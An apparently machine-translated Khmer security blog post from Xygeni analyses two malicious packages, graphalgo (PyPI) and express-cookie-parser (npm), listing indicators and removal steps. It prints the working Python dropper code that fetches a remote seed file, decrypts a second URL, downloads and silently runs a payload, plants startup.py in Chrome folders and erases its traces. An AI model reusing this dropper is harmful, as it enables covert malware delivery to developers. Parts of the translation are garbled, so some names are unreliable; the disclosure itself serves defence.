ការវាយប្រហារខ្សែសង្វាក់ផ្គត់ផ្គង់កម្មវិធីឆ្នាំ ២០២៥ - កញ្ចប់ព្យាបាទ - កញ្ចប់ python ព្យាបាទ - កញ្ចប់ npm ព្យាបាទ

ការពិនិត្យមើលឱ្យកាន់តែច្បាស់អំពីការវាយប្រហារខ្សែសង្វាក់ផ្គត់ផ្គង់កម្មវិធីឆ្នាំ ២០២៥៖ ការប្រៀបធៀបយុទ្ធនាការ PyPI និង npm

ថ្មីៗនេះ Xygeni បានសង្កេតឃើញគំរូដ៏គួរឱ្យព្រួយបារម្ភមួយនៅក្នុងទេសភាពនៃការវាយប្រហារខ្សែសង្វាក់ផ្គត់ផ្គង់កម្មវិធីនៅឆ្នាំ 2025។ដែលកំពុងលេចចេញជារូបរាងនៅទូទាំងកម្មវិធីគ្រប់គ្រងកញ្ចប់ដ៏ពេញនិយមពីរ៖ ភីភីអាយ។ និង ម៉ោងងងក្នុងនាមជាផ្នែកមួយនៃកិច្ចខិតខំប្រឹងប្រែងស៊ើបការណ៍សម្ងាត់គំរាមកំហែងរបស់យើងការព្រមានជាមុនអំពីមេរោគ Xygeni (MEW) ឧបករណ៍នេះបានកំណត់អត្តសញ្ញាណឧទាហរណ៍ខុសគ្នា ប៉ុន្តែស្រដៀងគ្នាខាងវិធីសាស្ត្រនៃកញ្ចប់ព្យាបាទដែលបានផ្ទុកឡើងទៅក្នុងបញ្ជីឈ្មោះផ្សេងទៀតពីមុន។ ករណីនេះបង្ហាញពីរបៀបដែលតួអង្គគំរាមកំហែងកំពុងវិវត្ត និងប្រើប្រាស់បច្ចេកទេសវាយប្រហារឡើងវិញនៅទូទាំងប្រព័ន្ធអេកូឡូស៊ី ជាពិសេសតាមរយៈ កញ្ចប់ Python ព្យាបាទ និង កញ្ចប់ npm ព្យាបាទដែលបង្កើនហានិភ័យនៃកញ្ចប់ព្យាបាទដែលជ្រៀតចូលទៅក្នុងខ្សែសង្វាក់ផ្គត់ផ្គង់ប្រភពបើកចំហ។

MEW របស់ Xygeni៖ ការរកឃើញភាពស្រដៀងគ្នា

ឧបករណ៍ MEW របស់ Xygeni ត្រូវបានបង្កើតឡើងដើម្បីរកឃើញ និងដាក់ទង់សញ្ញាកញ្ចប់ព្យាបាទ ជាពិសេសកញ្ចប់ដែលភ្ជាប់ទៅនឹងការវាយប្រហារខ្សែសង្វាក់ផ្គត់ផ្គង់កម្មវិធីនៅឆ្នាំ 2025 ភ្លាមៗនៅពេលដែលពួកវាត្រូវបានបោះពុម្ពផ្សាយទៅកាន់បញ្ជីឈ្មោះប្រភពបើកចំហ។ វាដំណើរការដោយវិភាគកញ្ចប់ថ្មីសម្រាប់ឥរិយាបថគួរឱ្យសង្ស័យ។

ក្នុងករណីនេះ វាបានកំណត់អត្តសញ្ញាណមនុស្សពីរនាក់ កញ្ចប់ Python ព្យាបាទ (graphalgo នៅលើ PyPI) និង កញ្ចប់ npm ព្យាបាទ (express-cookie-parser នៅលើ npm)។

កញ្ចប់ Python និង npm ព្យាបាទនៅក្នុងការវាយប្រហារខ្សែសង្វាក់ផ្គត់ផ្គង់កម្មវិធី (២០២៥)

ចូរយើងស្វែងយល់ពីលក្ខណៈរួមដែលបានបង្កឱ្យមានការជូនដំណឹងរបស់យើង៖

បន្លំ

ពួកគេទាំងពីរបានព្យាយាមធ្វើត្រាប់តាមកញ្ចប់ពេញនិយមដែលមានស្រាប់។

  • ក្រាហ្វអាល់ហ្គោ (PyPI): "កញ្ចប់ Python សម្រាប់បង្កើត និងរៀបចំក្រាហ្វ និងបណ្តាញ។បានផ្ទុកឡើងដោយអ្នកប្រើប្រាស់ដែលមានឈ្មោះថា «ឡារីតិច» នៅថ្ងៃទី 13 ខែមិថុនា ឆ្នាំ 2025 កញ្ចប់នេះបានបង្ហាញខ្លួនជាជម្រើស PyPi ជំនួសគម្រោង graphalgo ដែលមិនមានមេរោគដើម ដែលក្រោយមកត្រូវបានប្តូរឈ្មោះទៅជា graphdict។
  • កម្មវិធីវិភាគខូគីរហ័ស ​​(npm)កញ្ចប់នេះបានធ្វើត្រាប់តាមកញ្ចប់ខូគី-ញែកដ៏ល្បី ថែមទាំងធ្វើត្រាប់តាមវាទៀតផង។ README.md. ការក្លែងបន្លំបែបនេះគឺជាយុទ្ធសាស្ត្របុរាណមួយដើម្បីទាញយកផលប្រយោជន៍ពីការជឿទុកចិត្តដែលមានស្រាប់។

ការបិទបាំងជាខ្សែការពារទីមួយ

កញ្ចប់ទាំងពីរបានបិទបាំងកូដព្យាបាទរបស់ពួកគេនៅក្នុងឯកសារដើម។ សម្រាប់ ក្រាហ្វអាល់ហ្គោលេខកូដដែលលាក់បាំងត្រូវបានរកឃើញនៅក្នុង /utils/load_libraries.py. ក្នុងករណី កម្មវិធីវិភាគខូគីរហ័ស, cookie-loader.min.js មានផ្ទុកនូវបន្ទុកដែលមិនច្បាស់លាស់។

ស្រទាប់ដំបូងនៃការបិទបាំងនេះជាធម្មតាត្រូវបានប្រើដើម្បីរារាំងការត្រួតពិនិត្យដោយចៃដន្យ និងការវិភាគឋិតិវន្ត។ ការបិទបាំងគឺសាមញ្ញណាស់៖ ការបង្ហាប់ ZLib ម្តងហើយម្តងទៀត បូករួមទាំងការអ៊ិនកូដ Base64។ ប្រភេទនៃការបិទបាំងនេះបង្ហាញយ៉ាងច្បាស់ថា កម្មវិធីកំពុងព្យាយាមលាក់បាំងឥរិយាបថរបស់វា។ រួមជាមួយនឹងភស្តុតាងផ្សេងទៀត នេះអនុញ្ញាតឱ្យ Xygeni MEW ចាត់ថ្នាក់កញ្ចប់ទាំងនោះជាមេរោគដែលអាចកើតមាន។ ក្នុងអំឡុងពេលដំណាក់កាលបញ្ជាក់ អ្នកពិនិត្យរបស់យើងបានរៀបចំស្គ្រីបបំបាត់ការបិទបាំងភ្លាមៗ ដែលបង្ហាញពីដំណាក់កាលទម្លាក់មេរោគដ៏គ្រោះថ្នាក់។

ការដឹកជញ្ជូនបន្ទុកច្រើនដំណាក់កាល និងចំណុចដើមដែលបានចែករំលែក

កញ្ចប់ទាំងពីរដំណើរការជា "ដំបូង"ដំណក់ទឹក"កំណត់ដំណាក់កាលសម្រាប់បន្ទុកពិតប្រាកដ។ ពួកគេបានចែករំលែកខាងក្រៅរួមមួយ"ពូជ"អាសយដ្ឋានឯកសារ៖
https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example

ឯកសារគ្រាប់ពូជខាងក្រៅដូចគ្នាបេះបិទនេះគឺជាសូចនាករដ៏រឹងមាំមួយនៃអ្នកគំរាមកំហែងរួម។ គួរឱ្យចាប់អារម្មណ៍ ខ្លឹមសារនៃឯកសារគ្រាប់ពូជនេះហាក់ដូចជាអថេរបរិស្ថានសាមញ្ញ (ឧទាហរណ៍ JWT_SECRET, PORT) ដែលអាចធ្វើឱ្យការត្រួតពិនិត្យយល់ច្រឡំចំពោះមុខងារជាក់ស្តែងរបស់វា។

គុណភាពបង្ហាញ C2 ថាមវន្តជាមួយ DGA

យុទ្ធសាស្ត្រដ៏ស្មុគស្មាញមួយដែលត្រូវបានគេសង្កេតឃើញនៅក្នុងកញ្ចប់ព្យាបាទទាំងនេះគឺការប្រើប្រាស់ Domain Generation Algorithm (DGA) ដើម្បីដោះស្រាយម៉ាស៊ីនមេ Command and Control (C2) ដោយថាមវន្ត។ បច្ចេកទេសនេះ ដែលត្រូវបានគេមើលឃើញជាញឹកញាប់នៅក្នុងការវាយប្រហារខ្សែសង្វាក់ផ្គត់ផ្គង់កម្មវិធីកម្រិតខ្ពស់ក្នុងឆ្នាំ 2025 ពឹងផ្អែកលើហាស SHA256 ដែលទទួលបានពីខ្លឹមសារនៃឯកសារគ្រាប់ពូជ រួមផ្សំជាមួយតម្លៃដែលបានអ៊ិនកូដផ្សេងទៀត។ ដោយធ្វើដូច្នេះ ហេដ្ឋារចនាសម្ព័ន្ធ C2 ផ្លាស់ប្តូរជាញឹកញាប់ ដែលធ្វើឱ្យការដាក់ក្នុងបញ្ជីខ្មៅបែបប្រពៃណីមានប្រសិទ្ធភាពតិចជាង។ ក្នុងករណីនេះ វ៉ារ្យ៉ង់ npm បានប្រើតម្លៃថេរនៃ 496AAC7E ជាផ្នែកមួយនៃតក្កវិជ្ជា DGA របស់វា។

ការបង្កើតភាពអត់ធ្មត់

អ្នកវាយប្រហារទាំងពីរបានព្យាយាមបង្កើតវត្តមានយូរអង្វែងនៅលើប្រព័ន្ធដែលរងផលប៉ះពាល់។ យុទ្ធសាស្ត្ររបស់ពួកគេពាក់ព័ន្ធនឹងការទម្លាក់ឯកសារមួយ startup.py (សម្រាប់ PyPi) ឬ startup.js (សម្រាប់ npm) ទៅក្នុងថតទិន្នន័យអ្នកប្រើប្រាស់ Google Chrome ទូទៅនៅទូទាំងប្រព័ន្ធប្រតិបត្តិការផ្សេងៗ (Windows, Linux, macOS)។

ការសម្អាតក្រោយប្រតិបត្តិការ

ដើម្បីកាត់បន្ថយដាន ស្គ្រីបព្យាបាទទាំងពីរបានអនុវត្តប្រតិបត្តិការសម្អាត។ នេះរួមបញ្ចូលទាំងការលុបឯកសារ dropper ដំបូងរបស់ពួកគេ (load_libraries.py, cookie-loader.min.js) និងការកែប្រែឯកសារកញ្ចប់ស្របច្បាប់ (__init__.py, index.js) ដើម្បីលុបឯកសារយោងទៅកាន់សមាសធាតុដែលបានលុបឥឡូវនេះ។

សូចនាករនៃការសម្របសម្រួលនៅក្នុងកញ្ចប់ Python និង npm ព្យាបាទ

  • កញ្ចប់ PyPI: graphalgo (បោះពុម្ពផ្សាយដោយ larrytech, ថ្ងៃទី 13 ខែមិថុនា ឆ្នាំ 2025)
  • កញ្ចប់ npm: express-cookie-parser (ជាពិសេសកំណែ 1.4.12)
  • ចូលប្រើប្រាស់ URL គ្រាប់ពូជដែលបានចែករំលែក

https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example

  • ឈ្មោះឯកសារអចិន្ត្រៃយ៍: startup.py (ពស់ថ្លាន់) startup.js (ចាវ៉ាស្គ្រីប)
  • ផ្លូវអចិន្ត្រៃយ៍ទូទៅ (អាស្រ័យលើប្រព័ន្ធប្រតិបត្តិការ)នៅក្នុងថតទិន្នន័យអ្នកប្រើប្រាស់ Google Chrome (ឧ. AppData\Local\Google\Chrome\UserData\Scripts\ នៅលើវីនដូ, ~/.config/google-chrome/Scripts/ នៅលើលីនុច ជាដើម)។

របៀបការពារប្រឆាំងនឹងកញ្ចប់ព្យាបាទនៅក្នុងការវាយប្រហារខ្សែសង្វាក់ផ្គត់ផ្គង់កម្មវិធីឆ្នាំ ២០២៥

វិធីសាស្រ្តដែលបានណែនាំសម្រាប់អ្នកអភិវឌ្ឍន៍

ឧប្បត្តិហេតុនេះបម្រើជាការសិក្សាករណីដ៏មានតម្លៃមួយនៅក្នុងទេសភាពគំរាមកំហែងដែលកំពុងវិវត្តនៃការវាយប្រហារខ្សែសង្វាក់ផ្គត់ផ្គង់កម្មវិធីនៅឆ្នាំ 2025។ វាបង្ហាញពីរបៀបដែលកញ្ចប់ Python ដែលមានគំនិតអាក្រក់ និងកញ្ចប់ npm ដែលមានគំនិតអាក្រក់អាចលួចចូលទៅក្នុងប្រព័ន្ធអេកូឡូស៊ីដែលគួរឱ្យទុកចិត្ត ដែលជារឿយៗគេចវេសពីការរកឃើញរហូតដល់វាយឺតពេល។ នោះហើយជាមូលហេតុដែលការរកឃើញដំបូង ឧបករណ៍ឆ្លាតវៃ និងអនាម័យប្រព័ន្ធប្រកបដោយភាពសកម្មឥឡូវនេះគឺជាផ្នែកសំខាន់ៗនៃលំហូរការងារ DevOps ដែលមានសុវត្ថិភាពណាមួយ។ អ្នកអភិវឌ្ឍន៍ត្រូវបានលើកទឹកចិត្តឱ្យពិចារណាដូចខាងក្រោម៖

ការពិនិត្យឡើងវិញអំពីការពឹងផ្អែក

ប្រសិនបើគម្រោងរបស់អ្នករួមបញ្ចូល ក្រាហ្វអាល់ហ្គោ or កម្មវិធីវិភាគខូគីរហ័សវាជាការប្រសើរក្នុងការបន្តការដកចេញរបស់ពួកគេ។

  • សម្រាប់ PyPI៖ pip uninstall graphalgo
  • សម្រាប់ npm៖ npm uninstall express-cookie-parser

អនាម័យប្រព័ន្ធ

សូមពិចារណាធ្វើការស្កេនប្រព័ន្ធដ៏ទូលំទូលាយ។ វាក៏ត្រូវបានណែនាំផងដែរក្នុងការត្រួតពិនិត្យដោយដៃនូវផ្លូវថតទិន្នន័យអ្នកប្រើប្រាស់ Chrome ទូទៅសម្រាប់អ្វីដែលមិននឹកស្មានដល់។ startup.py or startup.js ឯកសារ។

វិធានការសន្តិសុខសកម្ម

  • វាយតម្លៃការពឹងផ្អែកថ្មីបង្កើតទម្លាប់មួយដើម្បីវាយតម្លៃកញ្ចប់ថ្មីៗឲ្យបានហ្មត់ចត់មុនពេលធ្វើសមាហរណកម្ម ដោយផ្តោតលើកញ្ចប់ទាំងនោះពីអ្នកបោះពុម្ពផ្សាយដែលមិនស្គាល់។
  • រួមបញ្ចូលឧបករណ៍សុវត្ថិភាពឧបករណ៍ដូចជា MEW របស់ Xygeni រួមជាមួយនឹងការវិភាគសមាសភាពកម្មវិធីផ្សេងទៀត (SCA) ដំណោះស្រាយ អាចផ្តល់នូវស្រទាប់ការពារដ៏សំខាន់មួយ ដោយកំណត់អត្តសញ្ញាណឥរិយាបថ និងភាពងាយរងគ្រោះដែលគួរឱ្យសង្ស័យ។
  • ឯកសិទ្ធិតិចបំផុត។៖ ការប្រតិបត្តិការបរិស្ថានអភិវឌ្ឍន៍ជាមួយនឹងគោលការណ៍នៃឯកសិទ្ធិតិចបំផុតអាចជួយកំណត់ផលប៉ះពាល់ដែលអាចកើតមាននៃការសម្របសម្រួល។
  • ការយល់ដឹងអំពីបណ្តាញការត្រួតពិនិត្យចរាចរណ៍បណ្តាញចេញសម្រាប់ការតភ្ជាប់មិនធម្មតា ជួនកាលអាចបង្ហាញពីការទំនាក់ទំនង C2 ដែលបង្កើតដោយ DGA។

សមាសធាតុសំខាន់ៗរបស់ load_libraries.py (ពី graphalgo)

				
					import os
import sys
import subprocess
import base64
import hashlib
import time
from urllib.request import urlopen, Request

url_b64 = "aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2pvaG5zOTIvYmxvZ19hcHAvcmVmcy9oZWFkcy9tYWluL3NlcnZlci8uZW52LmV4YW1wbGU="
remove_url = base64.b64decode(url_b64).decode()

python_path = sys.executable

def download_remote_content(url, output_path):
    try:
        req = Request(url, headers={"User-Agent": "Mozilla/5.0"})
        with urlopen(req) as response, open(output_path, "wb") as out_file:
            if response.status != 200:
                print(f"Failed to download the file. Status code: {response.status}")
                return False
            data = response.read()
            out_file.write(data)
        return True
    except Exception as e:
        print(f"Download failed: {e}")
        return False

def run_process(path_to_script, params=[]):
    if sys.platform.startswith("win"):
        creationflags = subprocess.CREATE_NO_WINDOW
        subprocess.Popen(
            [sys.executable, path_to_script, *params],
            creationflags=creationflags,
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL
        )
    else:
        subprocess.Popen(
            [sys.executable, path_to_script, *params],
            start_new_session=True,
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL,
            close_fds=True
        )


def get_output_file_path():
    py_file_path = None

    home_dir = os.path.expanduser("~")
    platform = os.sys.platform

    if platform.startswith("win"):
        py_file_path = os.path.join(home_dir, "AppData", "Local", "Google", "Chrome", "User Data")
    elif platform.startswith("linux"):
        py_file_path = os.path.join(home_dir, ".config", "google-chrome")
    elif platform == "darwin":
        py_file_path = os.path.join(home_dir, "Library", "Application Support", "Google", "Chrome")

    if not os.path.exists(py_file_path):
        if platform.startswith("win"):
            py_file_path = os.path.join(home_dir, "AppData", "Local")
        elif platform.startswith("linux"):
            py_file_path = os.path.join(home_dir, ".config")
        elif platform == "darwin":
            py_file_path = os.path.join(home_dir, "Library", "Application Support")

    # Ensure base directory exists
    os.makedirs(py_file_path, exist_ok=True)

    script_path = os.path.join(py_file_path, "Scripts")
    os.makedirs(script_path, exist_ok=True)

    py_file_path = os.path.join(script_path, "startup.py")
    return py_file_path

def remove_self():
    # Remove this script file
    os.remove(__file__)

    # Remove \'graph_settings.py\' in the same directory
    graph_settings_path = os.path.join(os.path.dirname(__file__), "graph_settings.py")
    if os.path.exists(graph_settings_path):
        os.remove(graph_settings_path)

    # Modify \'../classes/digraph.py\' if it exists
    graph_file_path = os.path.join(os.path.dirname(__file__), "..", "classes", "digraph.py")
    graph_file_path = os.path.abspath(graph_file_path)  # Normalize path

    init_file_path = os.path.join(os.path.dirname(__file__), "__init__.py")
    init_file_path = os.path.abspath(init_file_path) # Normalize path

    # replace content of the __init__.py file
    if os.path.exists(init_file_path):
        with open(init_file_path, \'r\', encoding=\'utf-8\') as file:
            file_content = file.read()

        updated_content = file_content \\
            .replace("from networkx.utils.graph_settings import *", "") \\
            .replace("from networkx.utils.load_libraries import *", "")

        with open(init_file_path, \'w\', encoding=\'utf-8\') as file:
            file.write(updated_content)        

    # replace content of the __init__.py file
    if os.path.exists(graph_file_path):
        with open(graph_file_path, \'r\', encoding=\'utf-8\') as file:
            file_content = file.read()

        updated_content = file_content \\
            .replace("nx.utils.graph_settings.init_graph(self.graph, attr)", "") \\

        with open(graph_file_path, \'w\', encoding=\'utf-8\') as file:
            file.write(updated_content)

def simple_shift_encrypt(text, password):
    key = int(hashlib.sha256(password).hexdigest(), 16)
    encrypted_bytes = bytes([(ord(char) + (key % 256)) % 256 for char in text])

    return base64.encode(encrypted_bytes).decode()

def simple_shift_decrypt(encoded_text, password):
    key = int(hashlib.sha256(password).hexdigest(), 16)
    encrypted_bytes = base64.b64decode(encoded_text)
    decrypted = \'\'.join([chr((b - (key % 256)) % 256) for b in encrypted_bytes])

    return decrypted

def load_libraries(key):
    max_retry_count = 3
    output_file_path = get_output_file_path()
    encoded = "6PT08PO6r6/j7+Tl8O/v7K7j7O/15K/w9eLs6eOv8/Th8vT18K7w+b/25fK9sa6ypvT58OW97e/k9ezl"

    for _ in range(max_retry_count):
        if not download_remote_content(remove_url, output_file_path):
            time.sleep(2)
            continue

        download_url = ""
        with open(output_file_path, "rb") as f:
            file_content = f.read()
            sha256_hash = hashlib.sha256()
            sha256_hash.update(file_content + key.encode())
            password = sha256_hash.digest()

            download_url = simple_shift_decrypt(encoded, password)
       
        if not download_url or not download_remote_content(download_url, output_file_path):
            time.sleep(2)
            continue

        os.chmod(output_file_path, 0o755)
        run_process(output_file_path)

        time.sleep(1)
        remove_self()
        break

if __name__ == "__main__":
    if len(sys.argv) >= 2:
        load_libraries(sys.argv[1])


				
			
  • download_remote_content(): ដោះស្រាយការទាញយកឯកសារពី URL ដែលបានបញ្ជាក់។
  • run_process()៖ ប្រតិបត្តិស្គ្រីប Python ខាងក្រៅតាមរបៀបដាច់ដោយឡែក ដោយទប់ស្កាត់ទិន្នផលដើម្បីរក្សាការសម្ងាត់។
  • get_output_file_path()៖ កំណត់ទីតាំងប្រព័ន្ធដ៏ល្អសម្រាប់ឯកសារ startup.py ដែលនៅស្ថិតស្ថេរ។
  • remove_self()៖ រៀបចំការសម្អាតឯកសារព្យាបាទដំបូង និងការកែប្រែកញ្ចប់ក្រោយពេលប្រតិបត្តិ។
  • simple_shift_encrypt() / simple_shift_decrypt()មុខងារ​អ៊ិនគ្រីប​ផ្ទាល់ខ្លួន​សម្រាប់​បិទបាំង​ឆានែល​ទំនាក់ទំនង ដែល​មាន​សារៈសំខាន់​សម្រាប់​ការអនុវត្ត DGA។
  • load_libraries()មុខងារកណ្តាលដែលសម្របសម្រួលដំណើរការពហុដំណាក់កាលទាំងមូល ចាប់ពីការទាញយកដំបូងរហូតដល់ការប្រតិបត្តិ payload ចុងក្រោយ និងការសម្អាត។

ផលវិបាក

ដូចគ្នានឹងកញ្ចប់ដែលមានសក្តានុពលព្យាបាទផ្សេងទៀតដែលត្រូវបានរកឃើញដោយ MEW ដែរ ជញ្ជាំងភ្លើងពឹងផ្អែកបានការពារអ្នកប្រើប្រាស់ភ្លាមៗដែលនឹងរួមបញ្ចូលកញ្ចប់ព្យាបាទទាំងនេះនៅក្នុងភាពអាស្រ័យរបស់ពួកគេ។ បន្ទាប់ពីការបញ្ជាក់ យើងបានអនុវត្តតាមនីតិវិធីជូនដំណឹងសម្រាប់បញ្ជីឈ្មោះទាំងពីរ ដែលបន្ទាប់ពីការពិនិត្យឡើងវិញបានលុបកញ្ចប់ទាំងពីរចេញ។

ឧបករណ៍វិភាគសមាសភាពកម្មវិធី sca
ផ្តល់អាទិភាព ដោះស្រាយ និងធានាសុវត្ថិភាពហានិភ័យផ្នែកទន់របស់អ្នក
ទទួលបានគណនីឥតគិតថ្លៃរបស់អ្នក។
មិនតម្រូវឱ្យមានកាតឥណទានទេ។

ធានាសុវត្ថិភាពនៃការអភិវឌ្ឍន៍ និងការដឹកជញ្ជូនកម្មវិធីរបស់អ្នក

ជាមួយឈុតផលិតផល Xygeni